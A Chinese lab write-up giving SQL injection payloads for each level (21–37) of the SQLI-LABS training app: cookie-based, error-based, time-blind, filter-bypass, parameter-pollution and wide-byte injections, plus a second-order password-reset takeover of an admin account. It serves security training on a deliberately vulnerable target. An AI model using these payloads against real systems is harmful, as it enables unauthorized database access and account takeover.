SQLI-LABS——Page-2 Advanced Injections Less21~Less37
文章目录
- 前言
- 题解
- Less-21
- Less-22
- Less-23
- Less-24
- Less-25
- Less-25a
- Less-26
- Less-26a
- Less-27
- Less-27a
- Less-28
- Less-28a
- Less-29
- Less-30
- Less-31
- Less-32
- Less-33
- Less-34
- Less-35
- Less-36
- Less-37
- 完
前言
SQLI-LABS是基于原版修改的php7版
对于空格的绕过:%0A、%0B、%0C、%0D
,大多数过滤了所有空白字符(\s)
题解
Less-21
Cookie注入,单引号,base64编码,补全括号
[POST]PAYLOAD:
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAjuname=1&passwd=1
Less-22
Cookie注入,双引号,base64编码
[POST]PAYLOAD:
Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=uname=1&passwd=1
Less-23
过滤了单行注释符,但是右侧接的是LIMIT,可以通过构造一个字符串绕过,达到和注释符一样的效果
[GET]PAYLOAD:
?id=0' union select 1,database(),3 and '
Less-24
这题先看PHP代码审计才知道逻辑,主页是没有注入点的
本题的目标是只知账号,通过更改密码获取控制
首先注册一个新账号,新账号是已知账号
+单引号闭合+注释符,如:admin’ —+
;登录该账号、修改密码,这个修改密码的操作会修改已知账号admin
的密码,从而得到控制权
以下是修改密码的源码:
#pass_change.php
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
可以看出:我们新注册的带有注释符的账号在WHERE语句完成了闭合,从而修改了已知账号的密码
Less-25
报错注入,过滤AND和OR
这里的过滤很简单,有以下思路:
- 使用联合查询,无需连接词
- 使用
||
或&&
替代 - 双写,如:ANANDD
这里给出报错注入、常规注入和时间盲注
[GET]PAYLOAD:
?id=0' union select 1,database(),3 '[GET]PAYLOAD:
?id=0' union select 1,database(),3 anandd '[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||if(ascii(substr(database(),1,1))=115,sleep(2),1)||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'
Less-25a
盲注,整型
[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||if(ascii(substr(database(),1,1))=115,sleep(2),1)||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'
Less-26
报错注入,过滤空格和注释符,同时也过滤了AND和OR
[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database()),1)||'
Less-26a
盲注,闭合括号
[GET]PAYLOAD:
?id=0')||extractvalue(1,concat(0x5c,database()))||('[GET]PAYLOAD:
?id=0')||updatexml(1,concat(0x7e,database()),1)||('
Less-27
报错注入,过滤SELECT和UNION,同时也过滤了AND、OR、空格和注释符
但只是过滤了全小写和首字母大写的SELECT,大小写混合可以绕过
对于空格过滤也只是单纯过滤了空格,使用其他空白字符可以绕过
[GET]PAYLOAD:
?id=?id=0'||if(ascii(substr(database(),1,1))<115,sleep(1),1)||'[GET]PAYLOAD:
?id=0'||extractvalue(1,concat(0x5c,database()))||'[GET]PAYLOAD:
?id=0'||updatexml(1,concat(0x7e,database()),1)||'[GET]PAYLOAD:
?id=0'%0AuNion%0AselEct%0A1,database(),3%0Aand%0A'1
Less-27a
盲注,双引号
[GET]PAYLOAD:
?id=0"||if(ascii(substr(database(),1,1))=115,sleep(1),1)||"[GET]PAYLOAD:
?id=0"||extractvalue(1,concat(0x5c,database()))||"[GET]PAYLOAD:
?id=0"||updatexml(1,concat(0x7e,database(),0x7e),1)||"[GET]PAYLOAD:
?id=0"%0AuNion%0AselEct%0A1,database(),3%0Aand%0A"
Less-28
闭合括号
[GET]PAYLOAD:
?id=0')||extractvalue(1,concat(0x5c,database()))||('[GET]PAYLOAD:
?id=0')||updatexml(1,concat(0x7e,database()),1)||('
Less-28a
盲注,PAYLOAD同上
[GET]PAYLOAD:
?id=0')||if(ascii(substr(database(),1,1))=115,sleep(2),1)||('
Less-29
这道题目加了WAF,正确入口是login.php
这道题目环境是双服务器的,对于同一个参数的两次传入,两种服务器解析的值不同,从而产生了这种注入
[GET]PAYLOAD:
/login.php?id=1&id=0' union select 1,database(),3--+
来源于:
https://blog.csdn.net/qq_43579362/article/details/104325466
https://blog.csdn.net/qq_44276741/article/details/107532555
Less-30
盲注
这里给出联合查询注入,PAYLOAD同上几题
/login.php?id=1&id=0" union select 1,database(),3 --+
Less-31
双引号,闭合括号
/login.php?id=1&id=0") union select 1,database(),3 --+
Less-32
自定义函数添加转义符,使用宽字节注入
注释符需要先Urlencode
[GET]PAYLOAD:
?id=0%df' union select 1,database(),3 %23
Less-33
PHP自带函数添加转义符,宽字节注入,过滤井号
[GET]PAYLOAD:
?id=0%df' union select 1,database(),3 --+
Less-34
POST型宽字节注入
这里不能使用hackbar,由于发包前会进行编码,百分号都会被编成%25
使用burpsuite:
[POST]PAYLOAD:
uname=1&passwd=1%df%27%20union%20select%201,database()%23
Less-35
整型,不需要引号
?id=0 union select 1,database(),3 --+
Less-36
mysql_real_escape_string(string,connection)
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00 \n \r \ ’ " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
宽字节注入,有两种方法
?id=0%df' union select 1,database(),3%23
?id=0%e9%8c%a6%27 union select 1,database(),3%23
来源于(墙裂推荐):
https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
Less-37
POST型,同上
[POST]PAYLOAD:
uname=1&passwd=0%df' union select 1,database() --+&submit=Submit[POST]PAYLOAD:
uname=1&passwd=0%e9%8c%a6' union select 1,database() --+&submit=Submit
完
SQLI-LABS——Page-2 Advanced Injections Less21~Less37相关推荐
- sqli-labs通关攻略23-37[Advanced Injections]
Advanced Injections 文章目录 Advanced Injections less-23 less-24 less-25 less-25a less-26 less-26a less- ...
- SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
- SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
- SQLi LABS Less-21
第21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大 21关的突破口在cookie,用户登录成功后,将用户名进行base64加密后,保存在cookie中 点击提交按钮的时候 ...
- sqli——labs初学者通关详
目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...
- SQLi LABS Less-8 布尔盲注
「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...
- SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号 在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示 再输入 1") an ...
- SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号 输入 1" and true-- a,页面正常显示 输入 1&quo ...
最新文章
- Python数据结构与算法(第四天)
- PWA(Progressive Web App)入门系列:Notification
- 如何处理Express异常?
- Asp.Net细节性问题精萃
- 使用python读取txt坐标文件生成挖空地块_批量
- 获取当前user的Session状态
- 支付宝小程序获取用户手机号php,小程序登录、获取用户信息、手机号
- 【微信公众号】2、申请微信公众平台接口测试帐号
- 解决“双系统删除其中一个,BIOS仍然有其启动项”问题
- USACO 1359. 城堡(并查集)
- CryEngine ViewMat
- 微擎模块 抖音口红机 3.2.0+wap登陆1.3.0增加首页banner跳转链接
- Excel按列合并相同相邻单元格和拆分单元格
- 专科大学计算机基础,2013-2014大学计算机基础教学大纲含AB专科.doc
- css textarea行数_超级简单:在一个TextArea中如何限制行数和字符数-阿里云开发者社区...
- 什么击计算机窗口可以打开资源管理器,如何打开资源管理器? 5种打开资源管理器的方法...
- HDU 2190 悼念512汶川大地震遇难同胞——重建希望小学
- 购买本本前必读的十大注意
- matlab simulinK笔记06——代数环
- 大治河西枢纽二线船闸总体设计(水利设计资料)